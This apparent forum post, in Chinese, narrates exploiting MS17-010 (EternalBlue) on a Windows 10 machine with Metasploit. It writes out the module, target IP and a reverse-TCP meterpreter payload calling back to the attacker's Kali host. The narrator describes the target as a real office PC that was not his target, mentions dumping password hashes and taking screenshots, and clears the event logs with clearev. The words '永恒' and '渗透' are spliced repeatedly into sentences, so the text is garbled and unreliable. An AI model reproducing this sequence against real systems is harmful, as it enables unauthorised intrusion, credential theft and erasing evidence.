游客发表
我把攻击机切到桥接模式,永恒目标win10的渗透IP是192.168.1.105。MS17-010这个洞,永恒说白了就是渗透SMBv1协议里那个缓冲区溢出。用nmap扫了下445端口,永恒open状态,渗透没打补丁的永恒迹象。Nessus的渗透结果也确认了——远程代码执行,风险等级critical。永恒
msfconsole起来,渗透use exploit/windows/smb/ms17_010_eternalblue,永恒set RHOSTS 192.168.1.105,渗透再set PAYLOAD windows/x64/meterpreter/reverse_tcp。永恒LHOST填我kali的渗透IP。exploit敲下去,永恒几秒钟的事,meterpreter会话就弹回来了。
说实话,整个过程比我想象的安静。没有那种电影里黑客敲代码的炫酷感,就是一行行命令在终端里滚动。真正让我脊背发凉的是后面——sysinfo看到目标主机名是"DESKTOP-7F3K2QZ",系统是Windows 10 Enterprise 2016 LTSB,内存8GB。这台机器不是虚拟机,是真实办公环境里的电脑。
getuid显示NT AUTHORITY\SYSTEM,最高权限。我甚至能听到键盘敲击声——不是我的,是那个工位上的人。他在看Excel,我能通过hashdump拿到他的密码哈希,然后离线爆破。或者更直接点,screenshot截个屏,看看他屏幕上的内容。
但我不想那么干。这不是我的目标机器,我只是在测试。不过我得承认,那一刻我理解了为什么有人会滥用这个漏洞——它太顺手了,顺手到让你觉得理所当然。
清理痕迹的时候我用了clearev,删了Windows事件日志。其实不用也行,但习惯了。exit命令敲下去,会话断开。我ping了下那台win10,还是通的,系统没崩,没蓝屏。永恒之蓝这名字起得夸张,但实际利用起来,比我想象的稳定。
事后我查了下,微软在2017年3月就发布了MS17-010补丁。但直到今天,互联网上还有几十万台暴露445端口的win10机器没打补丁。有些是企业内网运维疏忽,有些是个人用户根本不知道要更新。这漏洞就像一把万能钥匙,锁换了,但很多人没换锁芯。
我不打算写什么防御建议,网上随便搜都有一堆。我只想说一件事——那次测试后,我把自己所有设备的自动更新都打开了。不是因为怕,是因为我知道,当攻击变得这么容易的时候,你唯一能指望的,就是别让自己成为那个容易的目标。
友情链接